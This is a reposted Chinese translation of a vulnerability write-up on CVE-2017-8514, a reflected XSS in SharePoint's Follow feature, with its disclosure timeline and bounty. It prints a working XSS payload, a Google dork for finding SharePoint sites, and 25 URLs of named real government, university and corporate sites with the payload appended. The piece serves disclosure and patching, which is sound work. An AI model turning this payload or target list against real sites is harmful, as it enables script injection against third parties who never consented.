Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

$
0
0
【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

2017-06-29 10:26:04

阅读:204次
点赞(0)
收藏
来源: respectxss.blogspot.in





【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

作者:h4d35





译者:h4d35

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


TL;DR:所有你们安装的SharePoint都属于我们了。这个XSS漏洞(价值2500美刀)对内部部署版和在线版的SharePoint都有影响,POC看起来是这样的:

```http|https://<Any SharePoint URL Goes Here>?FollowSite=0&SiteName='-confirm(document.domain)-'```

SharePoint不需要更多的营销,因为它是最受欢迎的企业内容管理系统之一。据雷德蒙德杂志(https://redmondmag.com/articles/2015/11/10/sharepoint-server-2016-beta-2.aspx)报道:”SharePoint和OneDrive被超过7.5万个客户使用,拥有1.6亿用户。” 我不是SharePoint的MVP,但据我所知,它有两种版本,即SharePoint内部部署版和SharePoint在线版。 鉴于它通常只能通过内联网(intranet)或内部网络访问,组织机构更喜欢使用内部部署版。

我在某些组织机构中所见的一种常见的情形是:员工在日常工作中分为许多团队,例如人力资源、市场营销、应用程序开发、法律和/或安全团队等。在SharePoint中可以给各团队分配一个专门的站点或页面,以供团队成员之间共享资源(例如文档、新闻等),同时这些资源也能分享给团队之外的人。SharePoint能够提供细粒度的权限级别和基于角色的访问控制。

SharePoint的核心是共享。在这方面,SharePoint提供了一个称为“ 关注(Follow)”站点的功能,以便在您的新闻源中获取站点活动的更新。关注网站的一种方法是点击页面右上角的“ Follow ”按钮。如下图所示:


【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

此时,SharePoint会向以下终端发送一个POST请求

bbmsft.sharepoint.com/_vti_bin/client.svc/ProcessQuery(在我的案例中,bbmsft是某租户名称,在您的情况下这将不同)。我对这个POST请求进行了一番探索,但无法找到有趣的东西。我观察到,这并不是关注某个站点的唯一方法。您还可以使用右上角的“共享(Share)”按钮与他人分享您的网站。一旦你发出共享邀请,受邀人将会收到如下所示的电子邮件:


【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

“Follow”功能作为电子邮件内容的一部分,现在可以以GET请求的形式提供。当时的网址如下所示:

```https://bbmsft.sharepoint.com/?FollowSite=1&SiteName=<AnySiteNameGoesHere>```

该URL具有两个GET参数,即FollowSite=1和SiteName=\<AnySiteNameGoesHere\>。其中FollowSite参数是个布尔值,可以为0或者1,0表示不跟踪,1表示跟踪,类似一个标志位。而SiteName参数就是我们感兴趣的地方了。如下所示,其值出现在了脚本上下文中(注意关键词ReflectionHere)。在实际场景中,这个值将是您要Follow的网站的名称。

```&amp;lt;scripttype=&amp;quot;text/javascript&amp;quot;&amp;gt; <scripttype="text/javascript"> //<![CDATA[ ... SP.SOD.executeFunc('followingcommon.js','FollowSiteFromEmail',function(){FollowSiteFromEmail('ReflectionHere');}); ... //]]> </script> ```

如上述代码所示,开发人员使用单引号将ReflectionHere引起来了。经过测试,我发现一些危险的特殊字符如'、<、> 和 /都没有被编码。简单的说,像'-confirm(document.domain)'这样的XSS Payload就能够起作用。此外,我注意到,只有在URL中存在GET参数(FollowSite和SiteName)的情况下,上述内联JavaScript代码片段才会出现或成为DOM的一部分。屏幕截图如下。


【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

我在测试中用到的一个简单的PoC如下图所示:


【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

公网情况

这个XSS漏洞看起来很简单,因为它只需要一个SharePoint网址,并添加两个GET参数(其中一个设置为XSS的Payload)即可,如:

```http[s]://<SHAREPOINT URL>?FollowSite=0&SiteName='-confirm(document.domain)-'```

在Google中以`inurl:SitePages/Home.aspx?`为关键词搜索SharePoint主页,能够搜到19000多个结果。SharePoint站点的主页具有通用格式,即:`http(s)://<Any SharePoint URL>/SitePages/Home.aspx`。下面给出了我能从Google Dorks快速识别出来的一些值得注意的存在漏洞的站点。如果你也拥有SharePoint站点,并且可以在页面上看到“ Follow ”按钮,那么你的站点很有可能也存在漏洞。请注意,以下示例(政府网站,机构,大学和学院)并未包含那些内部部署版的SharePoint。

1. https://espace2013.cern.ch/ls1planning/sitepages/home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

2. https://info.undp.org/gssu/onlinetools/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

3. http://www.karnataka.gov.in/Pages/kn.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

4. https://web.fnal.gov/organization/Finance/business/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

5. https://ocexternal.olympic.edu/PSNSOCoffice/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

6. https://www.whi.org/researchers/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

7. http://www.mapnagenerator.com/en/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

8. https://gnssn.iaea.org/NSNI/PoS/IGALL/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

9. http://www.mapnagenerator.com/en/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

10. https://www.adced.ae/sites/EN/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

11. https://www-scotland.k12.sd.us/library/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

12. http://hec.gov.pk/Urdu/scholarshipsgrants/IPHDFP5000F/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

13. https://info.spcollege.edu/Community/AP/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

14. https://www.blr.aero/Airlines/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

15.http://www.irti.org/English/Events/11th%20IDB%20Global%20Forum%20on%20Islam/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

16. https://www.ead.ae/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

17. https://my.queens.edu/its/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

18. http://www.skylineuniversity.ac.ae/sites/SUC/Portal/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

19. https://www.dmacc.edu/urban/sac/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

20. http://nfm.mjs.bg/NFMs/EN/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

21. https://cowork.us.extranet.lenovo.com/promotions/nax86vug/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

22. https://www.utp.edu.my/Academic/CSIMAL/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

23. https://rcilab.in/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

24. https://www.sgsts.org.uk/governor/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27

25. https://portal.veic.org/sunshot/SitePages/Home.aspx?FollowSite=0&SiteName=%27-confirm(document.domain)-%27


时间轴和赏金

通过secure@microsoft.com将漏洞报告给Microsoft:2017年2月20日

secure@microsoft.com回复电子邮件,并确定问题编号:2017年2月20日,编号为37482

secure@microsoft.com回复电子邮件,确认漏洞可重现:2017年2月28日

2017年3月9日,收到来自secure@microsoft.com的电子邮件,确认该漏洞能够得到奖金

2017年3月10日,收到来自bounty@microsoft.com的电子邮件,确认奖金金额为2500美元


【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞
2017年6月9日,我收到一封关于漏洞修复的电子邮件,修复补丁将作为2017年6月更新的一部分发布。以下是CVE-2017-8514的链接:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8514。Microsoft还发布了一个我在SharePoint [Project Web App](https://support.office.com/en-us/article/Get-started-with-Project-Web-App-0c5b05b3-b444-438c-8b22-100d87ade40b?ui=en-US&rs=en-US&ad=US&fromAR=1)中找到的存储型XSS的补丁。CVE-2017-8551 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8551与此相关。我随后会尽量再做一个Write-up。
【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞

我想,现在是时候去给你的SharePoint打补丁了。





【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞
【技术分享】CVE-2017-8514简析——SharePoint Follow功能存在XSS漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://respectxss.blogspot.in/2017/06/a-look-at-cve-2017-8514-sharepoints.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images